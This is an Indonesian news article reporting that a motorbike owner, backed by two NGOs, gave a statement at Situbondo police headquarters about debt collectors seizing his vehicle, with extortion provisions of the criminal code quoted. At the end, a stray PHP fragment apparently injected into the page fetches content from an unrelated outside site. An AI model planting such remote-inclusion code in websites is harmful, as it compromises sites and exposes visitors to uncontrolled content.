Mahmudi Korban Perampasan Kendaraan Roda Dua oleh Deb Colektor Datangi Mapolres Situbondo

Jumat, 3 Februari 2023

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Situbondo l Jejakkasus.info – Menindak lanjut kasus perampasan kendaraan yang dilakukan oleh deb kolektor terus bergulir, di polres situbondo, jumat tanggal 3 februari 2023.

Mahmudi yang di dampingi, oleh lembaga Lpk Jatim dan Lsm Penjara Indonesia, memenuhi panggilan penyidik polres situbondo unntuk di mintai keterangan oleh penyidik pidsus polres situbondo, mahmudi korban perampasan kendaraan oleh Deb colektor berharap ada keadilan dalam proses hukumnya.

Sementara ini Fajar gondrong ketua Lsm penjara indonesia yang mendampingi korban mahmudi, akan terus mengawal proses hukum kasus perampasan kendaraan di jalan, agar tidak ada lagi korban korban seperti yang di alami oleh mahmudi khususnya di kabupaten situbondo.

Baca Juga:  Lukman Hakim SH, Advokat Muda Labrak Mapolres Situbondo

Sementara,… Misyono ketua Lpk jatim DPC Situbondo, berharap kepada polres situbondo segera memproses,kasus perampasan kendaraan yang sudah di laporkan beberapa hari yang lalu, karena perampasan kendaraan di jalan sudah jelas ada unsur perilaku pidana, mereka dinilai telah melanggar hukum dan dapat dikenakan pasal berlapis sesuai aksinya dalam melakukan perampasan.
lanjut Misyono.

Baca Juga:  Jambret Beraksi!! Emak-emak di Besuki Jatuh dari Motor, Hingga Terseret Beberapa Meter

“Karena apa yang dilakukan Deb colector itu melanggar hukum, apalagi motor masih di tangan pemilik mereka dikenakan Undang-Undang KUHP Pasal 368-365 kuhp tentang perampasan.

1) Barangsiapa dengan maksud hendak menguntungkan diri sendiri atau orang lain dengan melawan hak, memaksa orang dengan kekerasan atau ancaman kekerasan, supaya orang itu memberikan barang, yang sama sekali atau sebagaiannya termasuk kepunyaan orang itu sendiri kepunyaan orang lain atau supaya orang itu membuat utang atau menghapus piutang, dihukum karena memeras, dengan hukuman penjara selama-lamanya sembilan tahun. Untuk itu saya sebagai pendamping dari korban meminta kepada polres Situbondo agar ada penegakan hukum yang jelas sehingga masyarakat yang menjadi korban perampasan harus mendapatkan keadilan dari APH, “pungkasnya.

Baca Juga:  SBPU 24.331.72 Berok Koba Dipenuhi Pengerit BBM

(TIM)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Berita Terkait

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Selasa, 24 September 2024 - 18:23 WIB

Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik

Selasa, 24 September 2024 - 10:15 WIB

Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>